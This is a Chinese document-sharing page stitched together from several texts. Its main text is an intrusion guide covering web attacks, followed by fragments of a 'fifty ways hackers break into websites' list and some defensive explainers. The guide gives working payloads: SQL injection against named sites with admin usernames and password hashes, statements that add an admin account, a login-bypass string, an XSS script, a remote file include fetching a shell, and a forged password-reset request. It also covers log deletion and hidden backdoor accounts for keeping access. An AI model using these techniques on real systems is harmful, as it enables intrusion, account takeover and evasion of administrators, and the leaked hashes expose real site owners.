当前位置：文档之家 › 入侵思路-攻击篇-常见WEB攻击

入侵思路-攻击篇-常见WEB攻击

  • 格式：doc
  • 大小：852.50 KB
  • 文档页数：24

第一部分常见WEB攻击一.按传统攻击分类,大概有以下几阶段1.漏洞探察,端口探测2.攻击外部入口3.架设连接内部网络的程序4.攻击内部网络5.攻击内部主机或网络,建立外连通道6.扩大内部网络攻击渗透的范围,下载传输内部网络的资料7.固定内部网络的战果,建立长期入侵通道8.清理入口,内部网络留下的工作日志9.尽量是内部网络和外部入口设备和机器保持网络管理员看起来的正常,减少网络传输的频率,保证能长期占领该网络二.下面就直接讲入侵的传统手法1.常见的就是扫描该网络的出口,找到映射出来的端口2.弱口令猜解,溢出,WEB渗透的办法,另外还有一些网络欺骗的手段,最后就是社会工程的方法搞定外部入口3.现在网络基本上的外部入口不会有特别的端口,常见协议有FTP,SSH,POP3,SMTP,WEB,telnetd,还有某些协议代理的端口,所以基本可用的方法首先就是溢出,大家可以去看看0DAY,实在没有就去找找发布过的1DAY,但是一般的没有太大的成功几率.我这里谈的攻击,主要谈谈通过WEB的渗透办法三.传统的WEB漏洞3.1. 目录浏览通过浏览地址http://IP/docquery，可以查看到docquery目录下的所有文件的名称3.2. 备份页面暴源码管理员为了维护的方便，会在web页面的目录保存页面编辑时候的备份文件，或者是由于某些编辑软件自动生成bak为扩展名的页面文件，导致在浏览器直接可以查看页面文件源代码3.3. 默认管理页面漏洞比如安装的是tomcat，存在默认管理页面http://IP/admin/index.jsp，并且没有更改默认的登陆帐号的密码，使用默认的账号密码可以登录。

通过上传木马可以轻易就获得WEBSHELL，由于tomcat以服务运行，因此直接获得system权限3.4 SQL 注入比如,http://IP/Page.jsp?City=天津该链接存在注入漏洞，参数city附近语法不严格导致产生注入点，可以使用数据库猜解工具得到数据库中的数据。

比如, 漏洞测试网站一：云南黑客联盟申请一个用户，登陆，然后发表文章，D:YNHACKUSER../inc/cls_main.asp网站路径管理员数小于5，管理3，第一个管理员用户名长度小于7，第一个管理员用户名长度为5用户名第一个字母为a,第一个管理员用户名为 admin,MD5密码第一个是7,后面的我就不猜了，和猜用户名同一个道理，不过，这里长度有16位。

手工很慢，为此，使用UNION查寻来提高效率，第一个管理员用户名 admin md5密码 7a57a5a743894a0e->admin.现在网速太慢。

被锁定了，这是第二个管理员liucho0400 密码b086f71d080453fa，第三个灵男密码581abc28e23d1669，后面的工作我就不作了，如果拿到解密后的密码进入后台轻易得到WEBSHELL漏洞测试网站二：新云官方网站不能注册，社会工程学来 admin admin 不行 123 123 不行，123456 123456 成功进入，发表文章进行了错误处理，提交 --,正常，说明是sql版,直接加用户，我们在nc_user中加一个用户名和密码都为 123的用户，先MDB转化一下，123->ac59075b964b0715，提交insert into nc_user(username,password) values('123','ac59075b964b0715'),现在登陆试试，可能数据库中有这个用户了吧，那我们它密码update nc_user set password='ac59075b964b0715' where username='123',成功。

现在利用辅助工具注入，前提是要登陆，不好意思，要用123456登陆才能看自己的文章好，现在已成功注入了。

至于拿WEBSHELL的事，我就不去搞了。

大家自己发挥吧3.5 登陆验证不严当尝试输入登陆为：1’or 1=1--时提示密码错误，说明程序已经接受了不合格登陆输入conetmibver1.0漏洞直接进入后台关键字：co net mib ver 1.0 design by hypo安全漏洞利用方法：后台管理界面：/manage/Login.asp然后利用漏洞 'or'='or'登录。

3.6 跨站构建链接http://IP/IDC.jsp?Sex=男&Sex=女&strArea=0”><script>alert(“Hello, MatriXay!”)</script>，界面弹出JA V ASCRIPT对话框“HELLO，MATRIXAY！”。

3.7任意文件被下载https://ip/download.jsp?downpath=down.jsp只要知道文件路径，可以下载系统中的任意文件。

3.8 暴露绝对路径提交特殊参数，导致页面出错，暴露页面文件的绝对路径命令解释行的脚本命令http://IP/cmd.pl?dir+c:\服务器存在类似的脚本解释程序,可以执行服务器上的命令3.10 存在upload.asp等类似文件上传文件的利用可以使用桂林老兵等上传程序突破文件名限制上传WEBSHELL 木马,或者用nc.exe上传也可以3.11 .php脚本远程文件包含漏洞.php脚本没有正确地验证某些变量的数据，允许攻击者通过包含本地或外部资源的任意文件导致执行任意PHP代码。

/wp-includes/functions.php?file=http: ///shell.txt?session欺骗漏洞比如, 拥原创文学整站程序：（1）.注入漏洞:list.asp对articleID变量没做过滤导致注入漏洞，还有dispac.asp文件对id变量没做过滤，但是这个文件要管理员登陆后才能注入，所以有点像鸡漏洞。

（2）session欺骗漏洞:和上面的方法一样，写一个asp文件session("idu")="black-you"进后台看看吧！！3.13 cookies注入比如, 雷霆购物系统：我们先来看看reseach.asp才是真正的搜索文件，其中又这样一段代码：ifname<>""thensql=sql&"andnamelike'%"&name&"%'"endififauthor<>""thensql=sql&"andauthorlike'%"&author&"%'"endififmanufacturer<>""thensql=sql&"andmarklike'%"&manufacturer&"%'"endififcode<>""then这就是经典的填字游戏！！因为它在高级搜索页面作了javascript过滤，所以我们要用nc提交来进行cookies注入。

但我们也可以在快速搜索页面提交：“504%’注入语句’%504”就能注入了，抓包然后把地址放在NBSI里就能注入了，因为我的IIS有点问题，所有就没深入测试。

3.14 cookies欺骗漏洞Forget.asp是密码找回文件文件，repws.asp是修改密码文件，我们来看看它的部分代码：<%ifrequest("username")=""thencallMsgBox("非法使用！","Back","None")response.endendifdimtmpsetrs=server.CreateObject("adodb.recordset")'提交修改密码ifnotisempty(request("SubmitRePws"))thenifrequest("password")<>request("password2")thencallMsgBox("再次输入密码不一致！","Back","None")rs.open"selectpasswordfrom[user]whereusername='"&trim(requers("password")=md5(trim(request("password2")))rs.updaters.closecallMsgBox("您的密码取回成功，请登录！","GoUrl","login.asp") response.endendifrs.open"selectanswerfrom[user]whereusername='"&trim(request ("username"))&"'",conn,1,1tmp=trim(rs("answer"))rs.closeiftmp<>md5(request("answer"))thencallMsgbox("对不起，您输入的问题答案不正确","Back","None") response.endendifsetrs=nothing%>呵呵，笑了吧！我们现在来构造数据包：POST/lt/repws.aspHTTP/1.1Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,app lication/x-shockwave-flash,application/vnd.ms-excel,applica tion/vnd.ms-powerpoint,application/msword,*/*http://localhost/lt/repws.aspAccept-Language:zh-cnContent-Type:application/x-www-form-urlencodedAccept-Encoding:gzip,deflateUser-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1; Maxthon)Host:localhostContent-Length:72Connection:Keep-AliveCache-Control:no-cacheCookie:ASPSESSIONIDQGQGQXOO=IFKFCOFAPEOINKPNGDEJEKOF password=121212&password2=121212&SubmitRePws=%CC%E1%BD%BB&u sername=x-key修改就把ueername和password、possword2还有Content-Length修改一下就行了，其他的都不用改。

合集下载

黑客入侵网站的 50种方法

黑客入侵网站的 50种方法


工具使用方法动画和所有文件
/bbs/printpage.asp?boardid=2&id=811
20.缺少xp_cmdshell时
尝试恢复exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
45.解决tcp/ip筛选 在注册表里有三处，分别是：
hkey_local_machine\system\controlset001\services\tcpip
hkey_local_machine\system\controlset002\services\tcpip
35.telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的ip
然后用#clear logg和#clear line vty *删除日志
36.搜索关键字:"copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多
/library/toolbar/3.0/search.aspx?view=en-us&charset=iso-8859-1&qu=
8.ms05016攻击工具用法 mshta.exe test.hta 文件名.后缀名 可以绑上qq大盗木马
7.开启regedt32的sam的管理员权限 检查hkey_local_machine\sam\sam\和hkey_local_machine\sam\sam\下的管理员和guest的f键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡,这方法是简单克隆,
常见的几种web攻击方式

常见的几种web攻击方式

常见的⼏种web攻击⽅式⼀、Dos攻击（Denial of Service attack） 是⼀种针对服务器的能够让服务器呈现静⽌状态的攻击⽅式。

有时候也加服务停⽌攻击或拒绝服务攻击。

其原理就是发送⼤量的合法请求到服务器，服务器⽆法分辨这些请求是正常请求还是攻击请求，所以都会照单全收。

海量的请求会造成服务器停⽌⼯作或拒绝服务的状态。

这就是Dos攻击。

⼆、跨站点请求伪造（CSRF，Cross-Site Request Forgeries） 是指攻击者通过已经设置好的陷阱，强制对已完成认证的⽤户进⾏⾮预期的个⼈信息或设定信息等某些状态的更新。

属于被动攻击。

更简单的理解就是攻击者盗⽤了你的名义，以你的名义发送了请求。

⼀个CSRF最简单的例⼦就是⽤户A登录了⽹站A在虚拟账户⾥转账了1000块钱，⽤户A在本地⽣成了⽹站A的cookie，⽤户A在没有关闭⽹站A的情况下有访问了恶意⽹站B，恶意⽹站B包含请求A⽹站的代码，利⽤了本地的cookie经过⾝份验证的⾝份⼜向⽹站A发送了⼀次请求，这时你就会发现你在⽹站A的账户⼜少了1000块。

这就是基本的CSRF攻击⽅式。

三、SOL注⼊攻击 是指通过对web连接的数据库发送恶意的SQL语句⽽产⽣的攻击，从⽽产⽣安全隐患和对⽹站的威胁，可以造成逃过验证或者私密信息泄露等危害。

SQL注⼊的原理是通过在对SQL语句调⽤⽅式上的疏漏，恶意注⼊SQL语句。

SQL注⼊常见的两个例⼦：1、私密信息泄露 假如⼀个出版书籍的⽹站，具有根据作者姓名查询已出版书籍的功能，作者未出版的书籍不能被普通⽤户看到，因为版权属于隐私的问题。

那么假设请求是⽤HTTP的GET请求来完成的，其地址栏请求内容为：?serach=echo完成此功能的SQL语句为简单的根据条件查找：select * from book where author = 'echo' and flag = 1; flag等于1代表书籍已出版。

黑客常用的攻击方法以及防范措施

黑客常用的攻击方法以及防范措施

黑客常用的攻击方法以及防范措施1.密码暴力破解包括操作系统的密码和系统运行的应用软件的密码，密码暴力破解方法虽然比较笨，成功几率小，可是却是最有效的入侵方法之一。

因为服务器一般都是很少关机,所以黑客就有很多时间暴力破解密码，所以给系统及应用软件起一个足够复杂的密码非常重要。

2。

利用系统自身安全漏洞每一次严重的系统漏洞被发现,都会掀起找肉鸡(被入侵并被安装了后门的计算机）热，因为这类入侵经常发生在系统补丁发布与客户部署更新这个时间段里,所以在第一时间内给系统打上补丁相当重要,这就要求广大的网络管理员了解关注这方面的信息。

3。

特洛伊木马程序特洛伊木马的由来：大约在公元前12世纪，希腊向特洛伊城宣战。

这是因为特洛伊王子劫持了Sparta国王Menelaus的妻子Helen（据说是当时最美的女子）.战争持续了10年,特洛伊城十分坚固，希腊军队无法取得胜利。

最终，希腊军队撤退，在特洛伊城外留下很多巨大的木马，里面藏有希腊最好的战士.特洛伊城的人民看到这些木马，以为是希腊军队留给他们的礼物，就将这些木马弄进城。

到了夜晚，藏在木马中的希腊士兵在Odysseus的带领下打开特洛伊城的城门,让希腊军队进入，然后夺下特洛伊城。

据说“小心希腊人的礼物”这一谚语就是出自这个故事.特洛伊木马是指一个程序表面上在执行一个任务,实际上却在执行另一个任务。

黑客的特洛伊木马程序事先已经以某种方式潜入你的计算机，并在适当的时候激活，潜伏在后台监视系统的运行，执行入侵者发出的指令,木马程序是一种计算机病毒,也叫后门程序。

4.网络监听网络监听工具原来是提供给网络管理员的管理工具，用来监视网络的状态，数据流动情况,现在也被网络入侵者广泛使用。

入侵者通过在被入侵的计算机上安装Sniffer软件，可以捕获该网段的敏感信息，其中包括一些明文密码,并对数据包进行详细的分析，就有可能对该网段其他的计算机产生安全威胁，所以说网络监听造成的安全风险级别很高。

web渗透攻击原理

web渗透攻击原理

web渗透攻击原理
Web渗透攻击是指利用Web应用程序的安全漏洞来入侵系统或者获得敏感信息的攻击方式。

Web渗透攻击的原理包括以下几个方面：
1. 攻击者通过网络或者本地访问Web应用程序，找到Web应用程序的漏洞。

2.攻击者利用漏洞注入恶意代码、控制命令或者病毒等，从而获取或操作系统或者应用程序相关的敏感信息。

3. 攻击者通过构造特定的URL，让Web应用程序误认用户输入的数据为安全数据，在处理过程中植入恶意代码或者请求后端的服务，从而获取敏感信息。

4.攻击者通过XSS（跨站脚本攻击），从而向用户传递植入恶意代码的链接或者脚本，从而实现攻击的目的。

5.攻击者利用SQL注入攻击，从而通过SQL语句操纵数据库，获取敏感信息。

6.攻击者通过文件上传功能，上传含有恶意脚本的文件，从而获取服务器的权限。

7. 攻击者通过服务拒绝攻击（DDoS），从而使Web应用程序服务崩溃或者停止工作，从而获取系统权限或者信息。

以上就是Web渗透攻击的原理及其攻击方式的简单介绍。

对于Web开发人员来说，必须及时修复漏洞，加强应用程序的防护才能有效的防止攻击行为。